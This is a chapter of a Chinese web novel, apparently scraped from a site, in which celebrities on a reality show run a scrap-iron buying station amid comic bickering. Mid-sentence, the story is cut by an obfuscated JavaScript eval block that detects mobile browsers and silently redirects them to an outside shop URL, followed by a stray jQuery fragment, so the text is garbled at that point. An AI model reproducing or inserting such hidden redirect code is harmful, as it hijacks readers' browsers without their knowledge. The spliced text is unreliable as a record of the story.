钢琴师加快步伐跟了上去,随行摄影师紧追其后。
水泥砖围建的高墙中央,竖立着两扇刷着银黄色的铁皮大门,大门往里推进,朝两边大敞。
走进院内,靠西墙的一排铁皮搭建的棚子下,大面积堆积着各种废铁料。
钢筋、铁架、铁棍、乱七八糟的铁通铁丝铁质物件,横七竖八地摞得高高的。
看上去似乎一个手指头就能把它们都推散落地,再仔细看却发现它们罗列得非常有水平,虽然层层叠叠,但都不会散掉。
靠东墙则是一个很大的地磅,如果货物多需要用车子拉来,那么地磅绝对是个神奇的宝贝。
货车驶入混凝土磅面,再重的几千斤几吨的货物,它都能标得一两不差。
“哇,我第一次见到这么多铁!”傅菁菁好奇的眼睛左右看着。
“菁菁,你走时帮你崔哥偷把铁丝。”花间美挽住傅菁菁的手臂笑言。
“欸?”傅菁菁歪着头疑惑看她。
走在前面的崔霄赫也不明所以,故意放慢脚步。
“咬根铁丝补补铁。”花间美灵动的大眼睛里,狡黠的目光看向崔霄赫狂拽的背影。
崔霄赫脚步一滞,当没听见。
“为什么补铁?崔哥缺铁吗?”傅菁菁单纯的小脸上满是问号。
“广大网友都要求我帮他买点保健品补补,你应该有所耳闻吧!他——不行。”
“花间美,你嘴里永远吐不出象牙!”
回头指着花间美,崔霄赫的蓝发随风翘起跟着发怒。
“各位别多话咧,快去帮忙的噻!”
三轮车师傅走在他们右侧,一路将他们引领至北面朝阳的三间水泥砖屋外。
里三层外三层的人群基本挤不动,崔霄赫仗着一米八五的身高优势,顺利挤进人群里,只瞧了一眼便退出人群。
“什么?什么…你说呀!”花间美翘首以待,随时准备加入拥挤大军。
“十好几个蛇皮袋,全是铁家伙,一个个搬秤上称重,工作量太大了!”崔霄赫难为地直摇头。
钢琴师也是吓得将手指缩在衣袖里,开什么玩笑,他的手是上过保险的,如果被割伤或铁器划伤,还怎么弹得了钢琴!
“喂,你们四个过来,这里交给你们了!”
人群中突然传出一声吆喝,一张被风刺楞得干燥又黝黑的年轻脸庞露出来,有种鹤立鸡群的感觉。
嘈乱的人群瞬间安静下来,人们纷纷转身看向他们四人,瞬间成了焦点。
年轻小伙子挤出来,站在他们面前,寒冷天气下,他居然只穿着一件单薄的T恤。
“你们自己分工吧,零钱都在磅秤上的钱夹子里,没零钱了就微信扫给他们!”边说话边从口袋里掏出一支烟。
崔霄赫紧皱眉头,“称他们的铁?”
“不然咧!”年轻小伙吐出烟圈,语气不耐,“这里是南郊最大的废铁收购站!收购站是什么意思还要我解释给你们?”
崔霄赫将他口中的烟一把拽掉,扔在地上用脚碾碎,指着他脸说,“你态度好点儿,我们节目组应该付过你场地费了,来给你帮忙,不是来听你命令的!”
年轻小伙一瞧是个硬茬,也不敢多说什么,只是指了指磅秤和人群,耐心许多,“铁称重后放在西边棚子下,一块三一斤,钱在夹子里。”
“给他们钱?还是他们给我们钱?”花间美一脸认真的问他。
其实问完这话花间美就反应过来了,没等她后悔,前头的人群骚动起来,大爷大叔们都冲着她指指点点,还有几个人朗声大笑到前仰后合。
花间美臊红了脸,往崔霄赫身后躲了躲,藏着不敢动。
年轻小伙不乐意了,满腹嫌弃的情绪全挂在脸上,“这什么买卖到你们手里都得黄,你收购别人东西,咋,人家再倒添俩钱?”
人群里一位壮硕的大叔挺着圆滚滚的肚子,笑得后牙都露出来了。
他走到崔霄赫身后,对埋头的花间美指了指,“我看这小姑娘不怎么灵光,小邓,今天赔了钱你爸不得扒了你的皮!”
“没办法,我也不回家了,在这盯着吧!老徐,去把这堆货拉仓库去!”年轻小伙吆喝着三轮车师傅。
“怂什么,出来!”崔霄赫将花间美一把拉到面前。
“花姐姐,咱买他们的铁,理应付给他们钱才对。”傅菁菁乖巧搭话。
花间美低头不语。
崔霄赫推着她往前走,边走边恨铁不成钢道,“少说话,一说话就暴露智商!”
走到磅秤前,花间美好奇地瞪着眼睛四处看,这个老式的磅秤稳稳当当放在墙边,挂钩上是一块圆形铁块,几个类似的铁块摆放在旁边的桌子上,大小不一。
长方形的秤盘上放着两个白色编织袋,由被撑起的形状可以看出里面装的货物不少,秤杆也是高高翘起。
花间美傅菁菁呈亮哪见过这种,平时买东西的小盘秤倒是认识,这种称大物件的老式挂钩磅秤,他们可真真是头一次见实物!
“不懂了吧,先看我怎么操作的!”小邓挤过人群,走向磅秤后面,把四人往旁边赶了赶。
“不用!”
崔霄赫猛地拦住小邓的身体,小邓身子一歪,差点把举着摄像机的随行摄影师挤倒。
紧接着崔霄赫弯腰看磅秤,并用手来回滑动游码,确认秤数准确无误后,他直起身。
站在脚边的小板凳上,冲着人群大吼,“都排好队,别往前挤,一个一个来!整岔劈了没人负责!”
刚才哄笑的人们面面相觑,排队??这又不是去办公事,排哪门子队,称完就走了的!
崔霄赫见没人买他的账,沉着脸大声道,“不排队就不称,都在这候着吧!!”
人群出来讨伐声,“从哪来的蓝毛屁孩,你会不会做买卖!”
“你不称我们走就是了,又不只你这一家收货!”
“收破烂的还装得人五人六,吆喝什么玩意!”
…
吵闹中还真有两三个人拎起脚下的编织袋转身欲走。
小邓慌忙拦住他们,鼻子不是鼻子,眼睛不是眼睛地朝崔霄赫怒吼,“你把人往外赶呐!”
眼瞅着挡不住这群人的激昂愤慨,傅菁菁泪眼汪汪不知所措,紧紧掐着花间美的胳膊不松。
崔霄赫脸色阴沉如水,拿
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17541167|203232||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
出平时写歌diss人的专业态度,开口就是国粹。
“呜呜喳喳的吵吵啥,嘴里含粪了?今天我就是这收购站的老板,不爱卖就扛走!
想卖的就排好队,别家一块三,我收一块四!麻溜滴站好!”
吵闹的人群倏然安静了,刚才那位壮硕的大叔率先拎起自己的口袋靠近崔霄赫,“我排!我来排!一块四是吧,说话要算数!”
崔霄赫胶皮黑靴踩在秤盘上,一副大佬做派,“这俩口袋提溜下去,把你的放上来。”
壮硕大叔急忙把秤盘上原有的两个口袋拿下来,自己的编织袋往上面一放,发出“哗啦~”的声响。
小邓凑过来,打开编织袋的绳子,往里瞧了瞧,“都是好铁,给他高价。”
崔霄赫左右移动滑码,随后放上一块五十斤的秤砣,“五十六斤!菁菁给你计算器,算账!呈亮你拿着钱包,付钱!”
傅菁菁接过崔霄赫递过来的计算器,口中喃喃自语,“五十六乘以一点四…七十八点四。”
呈亮紧忙打开布包的拉链,好久没见现金了!都换成了新版本。
他点了点钱,交给壮硕大叔,大叔高兴地直点头,连声道谢,卖了几次废铁,价格只降不升,没想到这次居然能卖个好价钱!
还得去工地上搞点!
大叔一走,后面的人立马把队伍排好了!
整整齐齐,哪还有刚开始那副赶大集的拥挤景象!
小邓眉头紧皱,盯着钱包低声问,“这个价钱收,哪还有利润。”
崔霄赫推了推他,“我会记账的,你可以先回去了,在这影响我发挥。”
小邓半信半疑地望着摄像机,心想好歹有个录影为证,折了本钱也能追得回,于是拍拍口袋里节目组给的场地费,回家睡大觉了!
瞅着小邓出了大院门,崔霄赫站在小板凳上,边卷袖子边指挥,“撸起袖子加油干!我过秤,菁菁算账,呈亮给钱!至于你——花间美,你去搬货!”
花间美食指指向自己,再指指跟着主人排长队的编织袋们,瞪着眼说不出话。
崔霄赫舌头顶腮,眼神促狭略带调侃,“怎么,你让菁菁搬货?…摇头啦…不然呈亮那双上了保险的手?…头要摇掉了!乖,去搬吧~”
…
【辣手崔花成垃圾崔花了!】
【崔爷是要自掏腰包填差价吗?】
【菁菁这身工作服太邋遢了,还我清纯妹子!】
【花姐莫名有喜感】
【花姐武力值要拉满啦】
…
眼看太阳高照,长长的队伍还在一点点的往前挪动,花间美坐在东墙棚子下举着矿泉水瓶连喝几大口。
摄像师眼神示意她注意形象,别哈腰弓背瘫在椅子上。
花间美连摆手的劲都没了,冲镜头说,“今天我可把这么多年没锻炼过的劳动力全补上了!”
捡起扔在地上的橡胶手套,努力地扶着大红塑料椅子把手站起来,上身挺了挺,复又放松到含胸驼背。
边戴手套边蹒跚而行,摄像机转到她面前,她伸手点点镜头,有气无力道,“向劳动人民致敬…你们辛苦了!”